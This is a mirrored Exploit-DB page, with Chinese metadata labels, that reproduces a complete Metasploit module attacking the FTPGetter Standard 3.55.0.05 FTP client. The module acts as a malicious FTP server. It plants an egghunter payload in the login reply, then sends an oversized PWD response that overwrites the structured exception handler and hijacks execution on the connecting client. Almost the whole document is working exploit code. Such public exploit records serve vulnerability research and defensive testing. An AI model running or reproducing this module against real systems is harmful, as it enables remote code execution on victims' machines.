FTPGetter Standard 3.55.0.05 – Remote Stack Buffer Overflow (PWD) (Metasploit)

• Exploit Database
• 39 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16725/

• ##
  # $Id: ftpgetter_pwd_reply.rb 11039 2010-11-14 19:03:24Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::FtpServer
  	include Msf::Exploit::Remote::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',
  			'Description'=> %q{
  					This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.
  				When processing the response on a PWD command, a stack based buffer overflow occurs.
  				This leads to arbitrary code execution when a structured exception handler gets
  				overwritten.
  			},
  			'Author' 	 =>
  				[
  					'ekse',	# found the bug
  					'corelanc0d3r',	#wrote the exploit
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 11039 $",
  			'References' =>
  				[
  					[ 'OSVDB', '68638'],
  					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Payload'=>
  				{
  					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5} ],# ppr [ssleay32.dll]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Oct 12 2010',
  			'DefaultTarget'=> 0))
  
  	end
  
  	def setup
  		super
  		badchars = ""
  		eggoptions =
  		{
  		:checksum => true,
  		:eggtag => "W00T"
  		}
  		@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)
  	end
  
  	def on_client_unknown_command(c,cmd,arg)
  		c.put("200 OK\r\n")
  	end
  
  	def on_client_command_pass(c,arg)
  		@state[c][:pass] = arg
  		c.put("230 OK #{@egg}\r\n")
  		return
  	end
  
  	def on_client_command_pwd(c,arg)
  		junk1 = "A" * target['Offset']
  		junk2 = "A" * 9
  		nseh = "\x74\x06\x41\x41"
  		jmp = "\x75\x08"
  		seh = [target.ret].pack('V')
  		junk3 = "D" * 22000
  		#dual offset
  		buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
  		c.put("257 \"/\" #{buffer}\r\n")
  		print_status("Sent payload, #{buffer.length} bytes")
  		print_status("Wait for hunter ...")
  		return
  	end
  
  end